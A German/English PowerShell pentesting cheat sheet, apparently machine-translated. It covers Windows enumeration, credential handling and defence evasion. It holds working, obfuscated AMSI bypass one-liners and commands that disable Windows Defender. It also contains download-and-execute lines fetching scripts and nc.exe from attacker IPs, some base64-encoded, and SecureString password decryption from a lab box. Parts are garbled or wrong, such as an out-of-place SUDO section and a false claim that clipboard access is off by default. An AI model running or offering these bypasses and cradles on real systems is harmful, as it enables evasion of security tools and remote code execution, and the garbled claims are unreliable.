BitsTransfer ist ein leistungsstarkes PowerShell-Modul, das das Herunterladen und Hochladen von Dateien über BITS ermöglicht. Es bietet eine einfache Möglichkeit, Dateien im Hintergrund zu übertragen und den Fortschritt von Übertragungsjobs zu überwachen.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

In Kali Linux, you can use the Base64 encoding technique to encode PowerShell commands. This can be useful for bypassing security measures that may block or detect certain command strings.

To encode a PowerShell command using Base64 in Kali Linux, you can use the following command:

echo "powershell_command" | base64

Replace "powershell_command" with the actual PowerShell command you want to encode. The command will output the Base64 encoded string.

To execute the encoded PowerShell command in Kali Linux, you can use the following command:

powershell -EncodedCommand "base64_encoded_command"

Replace "base64_encoded_command" with the Base64 encoded string obtained from the previous step. The PowerShell command will be executed without being detected or blocked by security measures.

Keep in mind that encoding the PowerShell command using Base64 is not foolproof and may not always bypass security measures. It is important to stay updated on the latest security techniques and adapt your approach accordingly.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

WinRM aktivieren (Remote PS)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Defender deaktivieren

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

AMSI-Bypass

Die Datei amsi.dll wird in Ihren Prozess geladen und verfügt über die erforderlichen Exports, um mit jeder Anwendung zu interagieren. Da sie in den Speicherbereich eines von Ihnen kontrollierten Prozesses geladen wird, können Sie ihr Verhalten ändern, indem Sie die Anweisungen im Speicher überschreiben. Dadurch wird die Erkennung unwirksam.

Das Ziel der AMSI-Bypasses besteht darin, die Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen.

Webseite zum Generieren von AMSI-Bypasses: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSI-Bypass 2 - Hooking von verwalteten API-Aufrufen

Überprüfen Sie diesen Beitrag für detaillierte Informationen und den Code. Einführung:

Diese neue Technik basiert auf dem Hooking von API-Aufrufen von .NET-Methoden. Wie sich herausstellt, müssen .NET-Methoden in native Maschinenanweisungen im Speicher kompiliert werden, die sehr ähnlich aussehen wie native Methoden. Diese kompilierten Methoden können gehookt werden, um den Kontrollfluss eines Programms zu ändern.

Die Schritte zum Durchführen des API-Call-Hookings von .NET-Methoden sind:

  1. Identifizieren der Zielmethode zum Hooken

  2. Definieren einer Methode mit dem gleichen Funktionsprototyp wie das Ziel

  3. Verwenden von Reflection, um die Methoden zu finden

  4. Stellen Sie sicher, dass jede Methode kompiliert wurde

  5. Finden Sie den Speicherort jeder Methode im Speicher

  6. Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode verweisen

AMSI-Bypass 3 - SeDebug-Berechtigung

Folgen Sie dieser Anleitung & Code, um zu sehen, wie Sie mit ausreichenden Berechtigungen zum Debuggen von Prozessen einen powershell.exe-Prozess starten, ihn debuggen, überwachen, wann er amsi.dll lädt, und diese deaktivieren können.

AMSI-Bypass - Weitere Ressourcen

PS-Verlauf

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Neuere Dateien finden

Optionen: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

Berechtigungen abrufen

To determine the permissions of a file or directory in Windows, you can use the Get-Acl cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object.

Get-Acl -Path C:\path\to\file.txt

This command will display the permissions associated with the specified file or directory. The output will include information such as the owner, group, and individual permissions for the file or directory.

You can also use the Get-ChildItem cmdlet to retrieve the permissions of multiple files or directories at once. For example:

Get-ChildItem -Path C:\path\to\directory -Recurse | Get-Acl

This command will recursively retrieve the permissions for all files and directories within the specified directory.

By understanding the permissions associated with a file or directory, you can better assess the security posture of a system and identify potential vulnerabilities.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Betriebssystemversion und HotFixes

Um die Betriebssystemversion und installierte HotFixes in PowerShell abzurufen, können Sie den folgenden Befehl verwenden:

(Get-WmiObject -Class Win32_OperatingSystem).Caption

Dieser Befehl gibt die Betriebssystemversion zurück.

Um die installierten HotFixes anzuzeigen, verwenden Sie den folgenden Befehl:

Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object -Property HotFixID

Dieser Befehl gibt eine Liste der installierten HotFixes zurück, zusammen mit ihren HotFix-IDs.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Umgebung

The following tools and configurations are recommended for the exercises in this section:

Die folgenden Tools und Konfigurationen werden für die Übungen in diesem Abschnitt empfohlen:

  • Windows 10 or Windows Server 2016/2019

  • PowerShell version 5.1 or later

  • Administrator privileges on the target machine

  • Internet access for downloading additional tools and resources

  • Windows 10 oder Windows Server 2016/2019

  • PowerShell Version 5.1 oder höher

  • Administratorrechte auf der Zielmaschine

  • Internetzugang zum Herunterladen zusätzlicher Tools und Ressourcen

PowerShell Basics

PowerShell is a powerful scripting language and automation framework that is built on top of the .NET framework. It provides a command-line interface (CLI) for managing and automating Windows operating systems.

PowerShell ist eine leistungsstarke Skriptsprache und Automatisierungsframework, das auf dem .NET-Framework aufbaut. Es bietet eine Befehlszeilenschnittstelle (CLI) zur Verwaltung und Automatisierung von Windows-Betriebssystemen.

Running PowerShell Scripts

PowerShell scripts are saved with the .ps1 file extension. To run a PowerShell script, open a PowerShell session and use the .\ prefix followed by the script name.

PowerShell-Skripte werden mit der Dateierweiterung .ps1 gespeichert. Um ein PowerShell-Skript auszuführen, öffnen Sie eine PowerShell-Sitzung und verwenden Sie das Präfix .\, gefolgt vom Skriptnamen.

.\script.ps1

Running PowerShell Commands

PowerShell commands, also known as cmdlets, can be run directly in a PowerShell session. To run a command, simply type it in and press Enter.

PowerShell-Befehle, auch als Cmdlets bezeichnet, können direkt in einer PowerShell-Sitzung ausgeführt werden. Um einen Befehl auszuführen, geben Sie ihn einfach ein und drücken Sie die Eingabetaste.

Get-Process

Getting Help

PowerShell provides built-in help documentation for cmdlets and other features. To get help on a specific cmdlet, use the Get-Help cmdlet followed by the cmdlet name.

PowerShell bietet eine integrierte Hilfedokumentation für Cmdlets und andere Funktionen. Um Hilfe zu einem bestimmten Cmdlet zu erhalten, verwenden Sie das Cmdlet Get-Help, gefolgt vom Cmdlet-Namen.

Get-Help Get-Process

Variables

Variables in PowerShell are used to store and manipulate data. To create a variable, use the $ symbol followed by the variable name and an assignment operator (=).

Variablen in PowerShell werden verwendet, um Daten zu speichern und zu manipulieren. Um eine Variable zu erstellen, verwenden Sie das Symbol $, gefolgt vom Variablennamen und einem Zuweisungsoperator (=).

$myVariable = "Hello, World!"

Loops

Loops in PowerShell allow you to repeat a block of code multiple times. The foreach loop is commonly used to iterate over a collection of items.

Schleifen in PowerShell ermöglichen es Ihnen, einen Codeblock mehrmals zu wiederholen. Die foreach-Schleife wird häufig verwendet, um über eine Sammlung von Elementen zu iterieren.

$numbers = 1..5

foreach ($number in $numbers) {
    Write-Output $number
}

Conditional Statements

Conditional statements in PowerShell allow you to execute different blocks of code based on a condition. The if statement is commonly used to perform conditional execution.

Bedingte Anweisungen in PowerShell ermöglichen es Ihnen, verschiedene Codeblöcke basierend auf einer Bedingung auszuführen. Die if-Anweisung wird häufig verwendet, um bedingte Ausführungen durchzuführen.

$number = 5

if ($number -gt 10) {
    Write-Output "The number is greater than 10."
} else {
    Write-Output "The number is less than or equal to 10."
}
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Andere verbundene Laufwerke

In Windows, you can use PowerShell to list all the connected drives on a system. This can be useful for a variety of purposes, such as identifying additional storage devices or network drives.

To list all the connected drives, you can use the following PowerShell command:

Get-PSDrive

This command will display information about all the drives that are currently connected to the system, including their names, types, and root paths.

You can also filter the results to display only specific types of drives. For example, to list only the network drives, you can use the following command:

Get-PSDrive | Where-Object {$_.Provider.Name -eq "FileSystem"}

This command will filter the results to display only the drives that have a provider name of "FileSystem", which typically indicates network drives.

By using PowerShell to list all the connected drives, you can quickly and easily gather information about the storage devices and network drives on a system. This can be helpful for various tasks, such as mapping network drives or identifying potential vulnerabilities.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Papierkorb

Der Papierkorb ist ein spezieller Ordner auf einem Windows-System, in dem gelöschte Dateien vorübergehend gespeichert werden, bevor sie endgültig gelöscht werden. Dies ermöglicht es Benutzern, versehentlich gelöschte Dateien wiederherzustellen, falls sie noch benötigt werden.

In der Regel werden gelöschte Dateien im Papierkorb gespeichert, bis der Benutzer den Papierkorb leert oder die Dateien manuell wiederherstellt. Es ist wichtig zu beachten, dass der Papierkorb nur auf dem lokalen Laufwerk verfügbar ist und nicht auf Netzwerklaufwerken oder externen Speichergeräten.

Als Pentester kann es von Vorteil sein, den Papierkorb zu überprüfen, um möglicherweise sensible Informationen oder gelöschte Dateien zu finden, die für den Angriff nützlich sein könnten. Es gibt verschiedene Möglichkeiten, auf den Papierkorb zuzugreifen und seine Inhalte zu untersuchen.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/den-papierkorb-mit-powershell-verwalten/

Domänenrecherche

pagePowerView/SharpView

Benutzer

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Sichere Zeichenfolge in Klartext

In PowerShell, a secure string is a way to store sensitive information, such as passwords, in an encrypted format. However, there may be situations where you need to convert a secure string back to plaintext. Here's how you can do it:

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plaintext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

In the above code, we first create a secure string using the ConvertTo-SecureString cmdlet. We pass the desired plaintext password as a parameter and use the -AsPlainText and -Force flags to ensure that the secure string is created correctly.

Next, we use the [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR() method to convert the secure string to a BSTR (Basic String) representation. Finally, we use the [System.Runtime.InteropServices.Marshal]::PtrToStringAuto() method to convert the BSTR back to plaintext.

Keep in mind that converting a secure string to plaintext should be done with caution, as it can expose sensitive information. Make sure to handle the plaintext password securely and avoid storing it in plain text for an extended period of time.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Oder direkt das Parsen von XML-Formularen:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

SUDO ist ein Befehl in Linux- und Unix-Systemen, der es einem Benutzer ermöglicht, temporär erhöhte Berechtigungen zu erhalten, um bestimmte Aufgaben auszuführen. Dies ist besonders nützlich, wenn ein Benutzer ohne Root-Zugriff vorübergehend Root-Befehle ausführen muss.

Installation

SUDO ist normalerweise standardmäßig in den meisten Linux-Distributionen installiert. Wenn es nicht installiert ist, kann es mit dem Paketmanager der jeweiligen Distribution installiert werden.

Verwendung

Um SUDO zu verwenden, muss der Benutzer den Befehl "sudo" vor dem eigentlichen Befehl eingeben, den er mit erhöhten Rechten ausführen möchte. Zum Beispiel:

sudo apt-get update

Dieser Befehl führt den Befehl "apt-get update" mit Root-Rechten aus.

Konfiguration

Die Konfigurationsdatei für SUDO befindet sich normalerweise unter "/etc/sudoers". Diese Datei enthält die Regeln und Einstellungen für die Verwendung von SUDO.

Um die Konfigurationsdatei zu bearbeiten, kann der Befehl "visudo" verwendet werden, der sicherstellt, dass die Syntax der Datei korrekt ist. Zum Beispiel:

sudo visudo

Dieser Befehl öffnet die Konfigurationsdatei in einem Texteditor.

In der Konfigurationsdatei können Benutzer und Gruppen definiert werden, die SUDO verwenden dürfen, sowie die Befehle und Dateien, auf die sie zugreifen können.

Sicherheitshinweise

Es ist wichtig, die SUDO-Konfigurationsdatei sorgfältig zu überprüfen und nur vertrauenswürdigen Benutzern und Gruppen Zugriff zu gewähren. Eine unsachgemäße Konfiguration kann zu Sicherheitslücken führen und es einem Angreifer ermöglichen, Root-Rechte zu erlangen.

Darüber hinaus sollte SUDO immer mit Bedacht verwendet werden. Es ist ratsam, nur die erforderlichen Befehle mit erhöhten Rechten auszuführen und die Verwendung von SUDO auf ein Minimum zu beschränken, um das Risiko von Fehlern oder Missbrauch zu verringern.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Gruppen


Introduction


In Windows, groups are used to organize and manage user accounts. They provide a way to assign permissions and access rights to multiple users at once. This section will cover the basics of working with groups in PowerShell.


Creating a Group


To create a new group in PowerShell, you can use the New-LocalGroup cmdlet. Here's an example:

New-LocalGroup -Name "MyGroup"

This will create a new local group with the name "MyGroup".


Adding Users to a Group


To add users to a group in PowerShell, you can use the Add-LocalGroupMember cmdlet. Here's an example:

Add-LocalGroupMember -Group "MyGroup" -Member "User1", "User2"

This will add "User1" and "User2" to the "MyGroup" group.


Removing Users from a Group


To remove users from a group in PowerShell, you can use the Remove-LocalGroupMember cmdlet. Here's an example:

Remove-LocalGroupMember -Group "MyGroup" -Member "User1", "User2"

This will remove "User1" and "User2" from the "MyGroup" group.


Listing Group Members


To list the members of a group in PowerShell, you can use the Get-LocalGroupMember cmdlet. Here's an example:

Get-LocalGroupMember -Group "MyGroup"

This will list all the members of the "MyGroup" group.


Deleting a Group


To delete a group in PowerShell, you can use the Remove-LocalGroup cmdlet. Here's an example:

Remove-LocalGroup -Name "MyGroup"

This will delete the "MyGroup" group.


Conclusion


Groups are an important part of managing user accounts and permissions in Windows. With PowerShell, you can easily create, modify, and delete groups to suit your needs.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Zwischenablage

Die Zwischenablage ist ein Speicherbereich, der temporäre Daten speichert und es Benutzern ermöglicht, Informationen zu kopieren und einzufügen. In PowerShell gibt es verschiedene Befehle, um auf die Zwischenablage zuzugreifen:

Get-Clipboard

Der Befehl Get-Clipboard wird verwendet, um den Inhalt der Zwischenablage abzurufen. Wenn keine Daten in der Zwischenablage vorhanden sind, gibt der Befehl nichts zurück.

Set-Clipboard

Der Befehl Set-Clipboard wird verwendet, um Daten in die Zwischenablage zu kopieren. Sie können den Befehl mit einer Zeichenkette oder einer Datei verwenden, um den Inhalt in die Zwischenablage zu kopieren.

Clear-Clipboard

Der Befehl Clear-Clipboard wird verwendet, um den Inhalt der Zwischenablage zu löschen. Nachdem der Befehl ausgeführt wurde, ist die Zwischenablage leer.

Es ist wichtig zu beachten, dass der Zugriff auf die Zwischenablage in PowerShell standardmäßig deaktiviert ist. Um auf die Zwischenablage zuzugreifen, müssen Sie die Execution Policy ändern oder PowerShell als Administrator ausführen.

Get-Clipboard

Prozesse

Processes are running instances of programs on a computer. They can be system processes or user processes. In Windows, processes are managed by the Windows Task Manager.

Prozesse sind laufende Instanzen von Programmen auf einem Computer. Sie können Systemprozesse oder Benutzerprozesse sein. In Windows werden Prozesse vom Windows Task-Manager verwaltet.

Viewing Processes

Anzeigen von Prozessen

To view the running processes on a Windows system, you can use the Get-Process cmdlet in PowerShell. This cmdlet retrieves information about the processes running on the local computer or a remote computer.

Um die laufenden Prozesse auf einem Windows-System anzuzeigen, können Sie das Cmdlet Get-Process in PowerShell verwenden. Dieses Cmdlet ruft Informationen über die auf dem lokalen Computer oder einem Remote-Computer ausgeführten Prozesse ab.

Get-Process

This command will display a list of all running processes, including their process ID (PID), name, and other details.

Dieser Befehl zeigt eine Liste aller laufenden Prozesse an, einschließlich ihrer Prozess-ID (PID), ihres Namens und anderer Details.

Killing Processes

Beenden von Prozessen

To terminate a running process, you can use the Stop-Process cmdlet in PowerShell. This cmdlet allows you to stop one or more processes based on their process ID or name.

Um einen laufenden Prozess zu beenden, können Sie das Cmdlet Stop-Process in PowerShell verwenden. Dieses Cmdlet ermöglicht es Ihnen, einen oder mehrere Prozesse basierend auf ihrer Prozess-ID oder ihrem Namen zu beenden.

Stop-Process -Name "process_name"

Replace "process_name" with the name of the process you want to terminate.

Ersetzen Sie "process_name" durch den Namen des Prozesses, den Sie beenden möchten.

Stop-Process -ID process_id

Replace "process_id" with the process ID of the process you want to terminate.

Ersetzen Sie "process_id" durch die Prozess-ID des Prozesses, den Sie beenden möchten.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Dienste

Introduction

Einführung

In this section, you will find information about different services that can be found in a Windows environment. Understanding these services is crucial for a successful penetration test.

In diesem Abschnitt finden Sie Informationen zu verschiedenen Diensten, die in einer Windows-Umgebung zu finden sind. Das Verständnis dieser Dienste ist entscheidend für einen erfolgreichen Penetrationstest.

Table of Contents

Inhaltsverzeichnis

Active Directory

Active Directory

Active Directory (AD) is a directory service developed by Microsoft. It is used to manage and control network resources in a Windows domain environment. AD provides authentication and authorization services, as well as a hierarchical structure for organizing objects such as users, computers, and groups.

Active Directory (AD) ist ein von Microsoft entwickelter Verzeichnisdienst. Er wird verwendet, um Netzwerkressourcen in einer Windows-Domänenumgebung zu verwalten und zu steuern. AD bietet Authentifizierungs- und Autorisierungsdienste sowie eine hierarchische Struktur zur Organisation von Objekten wie Benutzern, Computern und Gruppen.

Domain Name System (DNS)

Domain Name System (DNS)

The Domain Name System (DNS) is a hierarchical decentralized naming system that translates domain names to IP addresses. It is responsible for resolving human-readable domain names to machine-readable IP addresses, allowing users to access websites and other resources using domain names instead of IP addresses.

Das Domain Name System (DNS) ist ein hierarchisches dezentrales Namenssystem, das Domainnamen in IP-Adressen übersetzt. Es ist dafür verantwortlich, menschenlesbare Domainnamen in maschinenlesbare IP-Adressen aufzulösen und Benutzern den Zugriff auf Websites und andere Ressourcen über Domainnamen anstelle von IP-Adressen zu ermöglichen.

Dynamic Host Configuration Protocol (DHCP)

Dynamic Host Configuration Protocol (DHCP)

The Dynamic Host Configuration Protocol (DHCP) is a network management protocol used to automatically assign IP addresses and other network configuration parameters to devices on a network. DHCP simplifies the process of configuring network settings and allows devices to join a network without manual configuration.

Das Dynamic Host Configuration Protocol (DHCP) ist ein Netzwerkverwaltungsprotokoll, das verwendet wird, um IP-Adressen und andere Netzwerkkonfigurationsparameter automatisch an Geräte in einem Netzwerk zuzuweisen. DHCP vereinfacht den Prozess der Konfiguration von Netzwerkeinstellungen und ermöglicht Geräten, sich ohne manuelle Konfiguration einem Netzwerk anzuschließen.

File Transfer Protocol (FTP)

File Transfer Protocol (FTP)

The File Transfer Protocol (FTP) is a standard network protocol used for the transfer of files between a client and a server on a computer network. FTP allows users to upload, download, and manipulate files on a remote server.

Das File Transfer Protocol (FTP) ist ein standardisiertes Netzwerkprotokoll, das für die Übertragung von Dateien zwischen einem Client und einem Server in einem Computernetzwerk verwendet wird. FTP ermöglicht Benutzern das Hochladen, Herunterladen und Manipulieren von Dateien auf einem entfernten Server.

Hypertext Transfer Protocol (HTTP)

Hypertext Transfer Protocol (HTTP)

The Hypertext Transfer Protocol (HTTP) is an application protocol for distributed, collaborative, hypermedia information systems. It is the foundation of data communication for the World Wide Web. HTTP defines how messages are formatted and transmitted, and how web servers and browsers should respond to various commands.

Das Hypertext Transfer Protocol (HTTP) ist ein Anwendungsprotokoll für verteilte, kollaborative, hypermediale Informationssysteme. Es bildet die Grundlage der Datenkommunikation für das World Wide Web. HTTP definiert, wie Nachrichten formatiert und übertragen werden und wie Webserver und Browser auf verschiedene Befehle reagieren sollten.

Internet Information Services (IIS)

Internet Information Services (IIS)

Internet Information Services (IIS) is a flexible, secure, and manageable web server created by Microsoft. It provides a platform for hosting websites, web applications, and services. IIS supports various protocols, including HTTP, HTTPS, FTP, SMTP, and NNTP.

Internet Information Services (IIS) ist ein flexibler, sicherer und verwaltbarer Webserver, der von Microsoft entwickelt wurde. Er bietet eine Plattform zum Hosten von Websites, Webanwendungen und Diensten. IIS unterstützt verschiedene Protokolle, darunter HTTP, HTTPS, FTP, SMTP und NNTP.

Lightweight Directory Access Protocol (LDAP)

Lightweight Directory Access Protocol (LDAP)

The Lightweight Directory Access Protocol (LDAP) is an open, vendor-neutral, industry-standard application protocol for accessing and maintaining distributed directory information services over an IP network. LDAP is commonly used for centralized authentication and authorization services.

Das Lightweight Directory Access Protocol (LDAP) ist ein offenes, herstellerneutrales, branchenübliches Anwendungsprotokoll zum Zugriff auf und zur Pflege von verteilten Verzeichnisdiensten über ein IP-Netzwerk. LDAP wird häufig für zentrale Authentifizierungs- und Autorisierungsdienste verwendet.

Network File System (NFS)

Network File System (NFS)

The Network File System (NFS) is a distributed file system protocol that allows a client to access files over a network as if they were on its local hard drive. NFS enables file sharing between computers and is commonly used in Unix and Linux environments.

Das Network File System (NFS) ist ein verteiltes Dateisystemprotokoll, das es einem Client ermöglicht, Dateien über ein Netzwerk abzurufen, als wären sie auf seiner lokalen Festplatte. NFS ermöglicht die Dateifreigabe zwischen Computern und wird häufig in Unix- und Linux-Umgebungen verwendet.

Remote Desktop Protocol (RDP)

Remote Desktop Protocol (RDP)

The Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft that allows users to connect to a remote computer over a network connection. RDP provides a graphical interface for remote access and allows users to control the remote computer as if they were sitting in front of it.

Das Remote Desktop Protocol (RDP) ist ein proprietäres Protokoll, das von Microsoft entwickelt wurde und es Benutzern ermöglicht, eine Verbindung zu einem entfernten Computer über eine Netzwerkverbindung herzustellen. RDP bietet eine grafische Benutzeroberfläche für den Remotezugriff und ermöglicht es Benutzern, den entfernten Computer zu steuern, als säßen sie direkt davor.

Simple Mail Transfer Protocol (SMTP)

Simple Mail Transfer Protocol (SMTP)

The Simple Mail Transfer Protocol (SMTP) is an Internet standard for electronic mail (email) transmission. SMTP is used to send and receive email messages between mail servers. It defines how email messages should be formatted and transmitted over the Internet.

Das Simple Mail Transfer Protocol (SMTP) ist ein Internetstandard für die Übertragung von elektronischer Post (E-Mail). SMTP wird verwendet, um E-Mail-Nachrichten zwischen Mailservern zu senden und zu empfangen. Es definiert, wie E-Mail-Nachrichten formatiert und über das Internet übertragen werden sollen.

Server Message Block (SMB)

Server Message Block (SMB)

The Server Message Block (SMB) is a network protocol used for file sharing, printer sharing, and communication between computers in a Windows network. SMB allows computers to share files and resources over a network and is commonly used for accessing shared folders and printers.

